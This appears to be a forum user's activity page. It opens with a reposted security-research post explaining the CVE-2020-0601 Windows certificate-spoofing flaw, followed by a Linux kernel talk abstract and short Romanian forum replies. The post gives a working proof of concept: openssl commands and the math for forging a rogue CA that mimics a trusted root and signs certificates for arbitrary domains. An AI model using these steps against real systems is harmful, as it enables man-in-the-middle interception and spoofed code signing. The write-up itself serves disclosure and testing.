Nytro

CVE-2020-0601: the ChainOfFools/CurveBall attack explained with PoC January 15, 2020 Yolan Romailler cryptography Leave a comment On Tuesday the 14th of January 2020, in the frame of their first Patch Tuesday of 2020, Microsoft addressed a critical flaw discovered by the NSA in the Windows 10, Windows Server 2016 and 2019 versions of crypt32.dll, the library implementing Windows’ CryptoAPI. It didn’t take too long until it got branded “ChainOfFools” by Kenn White in a blog post. (And was then later rebranded “CurveBall” by Tal Be’ery.) TL;DR: test if you are vulnerable using our test website! Let us explain the flaw, and demonstrate it with a POC, which we provide along with a test website and all the code to reproduce it at home. As usual in the cryptographic community, where flaws can be far-reaching, we practice full disclosure and released our PoC on our Github page. Microsoft published the following information regarding the vulnerability: A spoofing vulnerability exists in the way Windows CryptoAPI (Crypt32.dll) validates Elliptic Curve Cryptography (ECC) certificates. An attacker could exploit the vulnerability by using a spoofed code-signing certificate to sign a malicious executable, making it appear the file was from a trusted, legitimate source. The user would have no way of knowing the file was malicious, because the digital signature would appear to be from a trusted provider. A successful exploit could also allow the attacker to conduct man-in-the-middle attacks and decrypt confidential information on user connections to the affected software. While this remains relatively vague, we can gather some more intel from the CERT website: As a result, an attacker may be able to craft a certificate that appears to have the ability to be traced to a trusted root certificate authority. Any software, including third-party non-Microsoft software, that relies on the Windows CertGetCertificateChain() function to determine if an X.509 certificate can be traced to a trusted root CA may incorrectly determine the trustworthiness of a certificate chain. Microsoft Windows versions that support certificates with ECC keys that specify parameters are affected. And last but not least, we’ve got a “Cybersecurity Advisory” from the NSA themselves! And this advisory is much more detailed, and notably mentions that: Certificates containing explicitly-defined elliptic curve parameters which only partially match a standard curve are suspicious, especially if they include the public key for a trusted certificate And this is extremely interesting! This led us to believe that it might be possible to craft certificates using ECC and explicit parameters that do not fully match a standard curves! Mandatory recall In ECDSA, the private key is a large integer, while the public key is a point on the elliptic curve derived from by computing , for a generator of the curve with large prime order (which is generally standardized along with the curve you’re using). Root cause So, the idea here is that there is some flaw in the way the certificates are loaded when explicit curve parameters are specified in the provided certificates. Many people discussed the topic and everyone ended agreeing on what the vulnerability had to be. Thomas Ptacek did a good summary of it on Hackernews. But don’t worry I’ll explain it again below. Specifically, it is possible to craft a private key for an existing public key, as soon as you are not using the standard generator, but instead can choose any generator. And you can choose you own generator in X.509 certificates by using an “explicit parameters” option to set it. And because then the CryptoAPI seems to match the certificate with the one it has in cache without checking that the provided generator actually matches the standardized one, it will actually trust the certificate as if it had been correctly signed. (Although not entirely, as the system still detects that the root certificate is not the same as the one in the root CA store. That is: you won’t get these nice green locks you all wanted in your URL bar, but you’ll still get a lock without any warning, unlike when using a self-signed certificate, even if you just crafted that certificate yourself.) It is important to notice that the problem is not in the cryptographic operations here. The maths checks out and the fact that you can craft signature that match a public key using another generator than the standardized one is not a problem in the maths. The problem here is really that the CA certificate cache used by the CryptoAPI is falsely considering that a modified root CA is in the CA certificate store as soon as its public key and serial number match a certificate that is already in the certificate cache, ignoring the fact that this modified certificate is not using the same curve parameters as the one in its cache. And it so happens that it is super easy to compute a fake generator for which we would know the private key corresponding to the public key of a given CA! Indeed if we take the existing certificate, with its public key , and its unknown secret key , we have then that . Now it suffices to take some random value , and we set . Then, we have that the newly crafted secret key is a valid secret key for the public key when using the new generator , since we have that : . And this effectively allows us to trick the Microsoft CryptoAPI into believing that we actually know the secret key to some CA certificate, whereas we actually only know the secret key for it when using a different generator than the standardized one! PoC||GTFO Now, that’s just the theory, right? But how can we be sure this is actually the problem behind the CVE-2020-0601? Well… Because we’ve got a proof of concept working and it’s just about 50 lines of Python code! First things first, you’ll need to find some target certificate that’s in Windows’ Trusted Root CA and that’s using ECC! Well, we took a look and found that the USERTrust ECC Certificate Authority has a certificate using the named curve P384! That seems like a good candidate. So, we download the certificate and now we need to get its public key, which can easily be done using `openssl x509 -in USERTrustECCCertificationAuthority.crt -text -noout` directly, which gives us: Certificate: Data: Version: 3 (0x2) Serial Number: 5c:8b:99:c5:5a:94:c5:d2:71:56:de:cd:89:80:cc:26 Signature Algorithm: ecdsa-with-SHA384 Issuer: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority Validity Not Before: Feb 1 00:00:00 2010 GMT Not After : Jan 18 23:59:59 2038 GMT Subject: C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority Subject Public Key Info: Public Key Algorithm: id-ecPublicKey Public-Key: (384 bit) pub: 04:1a:ac:54:5a:a9:f9:68:23:e7:7a:d5:24:6f:53: c6:5a:d8:4b:ab:c6:d5:b6:d1:e6:73:71:ae:dd:9c: d6:0c:61:fd:db:a0:89:03:b8:05:14:ec:57:ce:ee: 5d:3f:e2:21:b3:ce:f7:d4:8a:79:e0:a3:83:7e:2d: 97:d0:61:c4:f1:99:dc:25:91:63:ab:7f:30:a3:b4: 70:e2:c7:a1:33:9c:f3:bf:2e:5c:53:b1:5f:b3:7d: 32:7f:8a:34:e3:79:79 ASN1 OID: secp384r1 NIST CURVE: P-384 X509v3 extensions: X509v3 Subject Key Identifier: 3A:E1:09:86:D4:CF:19:C2:96:76:74:49:76:DC:E0:35:C6:63:63:9A X509v3 Key Usage: critical Certificate Sign, CRL Sign X509v3 Basic Constraints: critical CA:TRUE Signature Algorithm: ecdsa-with-SHA384 30:65:02:30:36:67:a1:16:08:dc:e4:97:00:41:1d:4e:be:e1: 63:01:cf:3b:aa:42:11:64:a0:9d:94:39:02:11:79:5c:7b:1d: fa:64:b9:ee:16:42:b3:bf:8a:c2:09:c4:ec:e4:b1:4d:02:31: 00:e9:2a:61:47:8c:52:4a:4b:4e:18:70:f6:d6:44:d6:6e:f5: 83:ba:6d:58:bd:24:d9:56:48:ea:ef:c4:a2:46:81:88:6a:3a: 46:d1:a9:9b:4d:c9:61:da:d1:5d:57:6a:18 Now, the part we want it obviously the “pub” value, but beware of ASN.1 encoding! The 04 in the front tell us it is simply the two coordinates of the point, so we can remove it and we now know that the point is actually (0x1aac545aa9f96823e77ad5246f53c65ad84babc6d5b6d1e67371aedd9cd60c61fddba08903b80514ec57ceee5d3fe221, 0xb3cef7d48a79e0a3837e2d97d061c4f199dc259163ab7f30a3b470e2c7a1339cf3bf2e5c53b15fb37d327f8a34e37979). Now, we want to take a more or less random value (we could have taken the degenerate case 1, and then the generator would have been the public key itself, but to demonstrate all the computations required, let us have a big , so we chose ). Then we compute our rogue generator, which is (since we chose our private key as the inverse of 2). Notice that the inverse is taken modulo , the order of the curve. Next, we just need to generate a pem file featuring explicit curve parameters, and using the rogue generator along with our chosen private key. This can be done by creating firstly a template pem file with openssl ecparam -name secp384r1 -genkey -noout -out p384-key.pem -param_enc explicit and then by editing it using Python’s Crypto.IO PEM module. (See the PoC code for details.) The next step is then to generate a rogue CA public file matching the serial of the real one, but using our newly crafted p384-key-rogue.pem file: `openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -set_serial 0x5c8b99c55a94c5d27156decd8980cc26` with the parameters that you want, you can reuse the ones from the original CA certificate if you don’t care: “C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust ECC Certification Authority”. Now, we just need to produce the certificate that we want to use in the wild! We first generate a brand new cert, just like you would usually: openssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem Then we can produce a Certificate Signing Request as we would usually: openssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr (using an openssl.cnf config file that you can find in the repo.) And finally we can sign the CSR using our rogue CA and obtain our final public certificate: openssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf Et voilà! We have been able to sign a certificate with arbitrary domain name and subject alternative names, and it will be recognized by Windows’ CryptoAPI as being a trusted certificate! (As long as the root certificate was loaded once already, so that it is in the certificate cache.) You can try it out on our demo website, if you want to see it. (Notice this is not a Man-in-the-Middle demonstration, but rather a demo that you can have a certificate that will work under Internet Explorer, Microsoft Edge and even Chrome, and that this certificate can have arbitrary subject alternative names.) Thanks to Scott Arciszewski for his hint to get certificates that would bypass CT log checks in Chrome! Public test Use a vulnerable browser on a vulnerable Windows 10 device First open the USERTrust Certification authority demo website to have their certificate in your cache: https://usertrustecccertificationauthority-ev.comodoca.com/ Next simply open the https://chainoffools.kudelskisecurity.com website! If the website loads and you can read “Hello World!”, it means your browser and system are vulnerable. Otherwise, you should get a warning telling you how the website is evil. (Notice that if your network is protected by a WAF, it might be blocking the certificate already and that certain antivirus are reacting to such crafted certificates already.) Or, if you don’t want to click on two links, here is a test website using JS to load the original certificate from the USERTrust website and to redirect you to our PoC website: testcve.kudelskisecurity.com Conclusion Also, notice that the vulnerability might not be as scary as we could have thought initially, as it appears that Windows Updates are signed using RSA certificates rather than ECC-based ones, and that their RSA certificate chain is pinned in the Windows Update binary . This means that Windows Updates are not at risk of being victim of a Man-in-the-Middle attack. It seems Microsoft added these countermeasure after FLAME abused a Microsoft certificate to hijack Windows Update and use it to spread. We have setup a public Github repository with the Python code and the OpenSSL command lines and configuration file: https://github.com/kudelskisecurity/chainoffools In the end, please keep in mind that such a vulnerability is not at risk of being exploited by script kiddies or ransomware. While it is still a big problem because it could have allowed a Man-in-the-Middle attack against any website, you would need to face an adversary that owns the network on which you operate, which is possible for nation-state adversaries, but less so for a script kiddie. This is why we are releasing this PoC, the exploitability of this vulnerability is not good enough to lead to a sudden ransomware threat (unlike the one we had with Wannacry). This is also probably why the NSA decided not to weaponize their finding, but to rather disclose it: for them it is best to have the USA patched rather than to keep it and take the risk of it being used against the USA, as the attack surface is so vast. Also, please note that other exploits are in the wild, and Saleem Rashid already demonstrated a MitM attack against Github.com using it after demonstrating a fake signature of the 7zip binary. (Edit, Sallem’s PoC is now on Github as well.) Please, do patch your system as soon as possible! Other good read on the topic: Kenn White’s blog post on the topic The NSA advisory The initial thoughts of Thomas Ptacek and Thomas Pornin Kudelski Security’s Slyvain Pelissier contributed to this blog post. Sursa: https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc/

Kees Cook https://lca2020.linux.org.au/schedule... Like all C/C++ programs, the Linux Kernel regularly suffers from memory corruption flaws. A common way for attackers to gain execution control is to target function pointers that were saved to memory. Control Flow Integrity (CFI) seeks to sanity-check these pointers and eliminate a huge portion of attack surface. It's possible to do this today with the Linux kernel (or any program) with Clang/LLVM's CFI implementation. This presentation will discuss how Android is using Clang's CFI in the Linux kernel for recent phones, how it is being upstreamed, and what you can do to use CFI yourself. We will explore what Clang actually inserts for code, data, and symbols to protect indirect calls, what needed fixing in the kernel to support it, and what's still missing. We'll wrap up with a short demo of CFI foiling a kernel attack. linux.conf.au is a conference about the Linux operating system, and all aspects of the thriving ecosystem of Free and Open Source Software that has grown up around it. Run since 1999, in a different Australian or New Zealand city each year, by a team of local volunteers, LCA invites more than 500 people to learn from the people who shape the future of Open Source. For more information on the conference see https://linux.conf.au/ Produced by NDV: https://youtube.com/channel/UCQ7dFBzZ... #linux.conf.au #linux #foss #opensource Wed Jan 15 15:45:00 2020 at Arena

Daca ai posibilitatea, incearca si pe alt laptop. In principiu, laptop-ul ar trebui cel putin sa vada castile, pare in neregula ca nu le vede. Laptop-ul vede alte dispozitive BT? Daca da, nu am idee ce ar putea fi.

Oh, legalizarea prostitutiei? Nu mai bine cereau si ei legalizarea ierbii? Nu de alta, dar sunt sigur ca tara se va schimba daca niste astfel de persoane iau astfel de aciuni asupra unor site-uri aleatoare de prin Romania. </ironie>

Castile au buton on-off? Verifica sa fie pornite. Stiu ca pare stupid dar eu am patit asta Verifica manualul lor, e posibil sa fie necesare niste mizerii gen "tine apasat butonul x 7,3 secunde" sau mai stiu eu ce. Verifica daca la laptop e ok BT-ul incercand sa conectezi alt dispozitiv, nu stiu, orice. Verifica si sa conectezi castile la un alt laptop, sau la telefon, sa te asiguri ca merg.

Salut, toti cei mai batrani stim de Sub7 si stiam ca e facut de un roman, insa nu stiam ca e cineva zis "MobMan". Doar de curiozitate, de ce ai vrea sa dai de el?

Hi, there are multiple tools for this, the most common one is this: https://github.com/FortyNorthSecurity/EyeWitness But I also found https://github.com/gen2brain/url2img and I know for sure there are other tools as well but I cannot remember their names.

Daca sunt Windows, nu sunt si legate la un AD si nu e un WSUS pe acolo? Daca nu, e foarte posibil sa aiba ceva lucruri in comun, gen portul RDP deschis sau 137/445. Ar fi mai rapid decat o scanare de nmap cu -O. Ce poti face dupa, necesita cumva acces la toate acele masini, un cont de Administrator. Poti folosi psexec de exemplu (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) ca sa rulezi comanda de cmd de update, gen wuauclt.exe /updatenow

Se mai fac si in Romania, stiu ca una dintre firme care investeste in asa ceva este Orange. https://www.orange.ro/newsroom/media-detaliu/primele-startup-uri-selectate-in-orange-fab-romania-programul-de-accelerare-al-grupului-orange-1013 Unul dintre exemple este Pentest-Tools, iar altul Dekeneas: https://www.orange.ro/newsroom/comunicat/inovatii-1/primele-startup-uri-selectate-in-orange-fab-romania-programul-de-accelerare-al-grupului-orange-1013 Dar sunt sigur ca daca cineva vine cu o idee buna, o implementare frumoasa si un plan de business care pe termen lung pare sa aduca profit, se vor gasi investitori.

Eu am facut criptografie cu Atanasiu, poate fi util: - https://www.scribd.com/document/367468804/Atanasiu-Criptografie-Vol-1 - https://www.scribd.com/document/367470090/Atanasiu-Criptografie-Vol-2

La 2 secunde dupa ce m-am uitat am vazut asta: Encryption can be done in three ways: Symmetric Asymmetric Hash Autorul "Serious Cryptography": https://aumasson.jp/talks.html

Serious Cryptography

Vad ca are mai multe versiuni de driver: V1, V2, V3: https://www.tp-link.com/us/support/download/archer-t4u/#Driver Vezi ca poate nu e versiunea ok: https://www.tp-link.com/ro/support/faq/46/

Da, frumos bug si frumoasa exploatare.

Asta e echivalentul a "hai sa ne dam parte in parte" in security @Vasile. warn pentru ca a inceput offtopic-ul. Cine se mai abate de la subiect, ban.

Nu stiu daca ajuta: https://support.apple.com/en-us/HT201487

Minte, @Zatarra merge la interviuri cu palaria rosie pe cap (RedHat https://www.google.com/search?q=redhat&source=lnms&tbm=isch) si e acceptat direct.

CV-ul meu e facut random, de mine, nu de pe vreun template anume. De fapt chiar nu arata prea bine ca design, e urat. Nu il pot posta, dar majoritatea lucrurilor sunt publice. De fapt cam tot... Cel mai important lucru e experienta, am fiecare job la care am lucrat cu cateva detalii despre ce faceam acolo. Am o parte de skills in care pun tot felul de lucruri: web security, reverse engineering, limbaje de programare in care am lucrat si mai stiu eu ce, dar pun si lucruri gen certificari, prezentari la conferinte, blog-ul, Twitter sau Github. Pana acum am avut noroc, pe unde am fost ma stia lumea din prezentat pe la conferinte sau chiar Twitter.

"Sistemul este la Administrația Străzilor, deja avem montate camere în câteva intersecții din Capitală. Sistemul are trei rețele neuronale, prima depistează tipul autovehiculului, a doua numărul de pe plăcuțele de înmatriculare, si în baza de date, prin OCR-izare, se scrie fiecare număr de înmatriculare depistat pe camere. Acest sistem transmite unui centralizator dacă are vinieta plătită, dacă are normă de poluare sub normele impuse și decide mai departe emiterea proceselor de sancțiune, trimiterea lor și urmărirea plății. Putem avea și contestații, noi avem și filmulețele cu probele. Nu avem abateri", a explicat acesta. Articol complet: http://mobile.hotnews.ro/stire/23582705 Cred ca va dati seama la ce ma refer

Da, asta e tema de o folosim pe forum. Poate la un update sau poate modificand ceva setari ajunsese temporar albastra.

Tema e verde de cand am dat drumul la forum, nu stiu, poate in timpul unui update sa se fi intamplat ceva.

Unde sa fie schimbata tema? Aici pe forum? Nu am mai facut modificari de ani de zile, poate dupa vreun update, nu am idee.

Sugestia mea e sa ai grija cu un astfel de site, parca acum 2-3 ani ceva persoane au fost arestate (in Romania) din cauza unor site-uri cu acelasi profil.

Salut, la McAfee in Romania (nu stiam ca au birouri aici)? Ce faci acolo, cum e?